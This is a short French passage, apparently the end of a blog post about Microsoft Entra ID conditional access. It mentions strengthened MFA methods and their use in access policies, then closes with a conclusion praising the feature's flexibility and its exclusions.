Microsoft Learn

Plusieurs méthodes de MFA renforcées sont déjà disponibles et il est aussi possible de créer les siennes :

Il suffit après d’appeler ces méthodes de MFA renforcées dans la configuration de la police d’accès conditionnel :

Conclusion :

L’accès conditionnel sous Entra ID a réussi s’imposer comme la référence de base dans l’autorisation d’accès aux ressources de l’entreprise. Les personnalisations possibles et la prise en compte d’exclusions apporte beaucoup de souplesse et évite la fatigue sécuritaire chez les utilisateurs. Nul doute que d’autres fonctionnalités sont encore à venir 😎.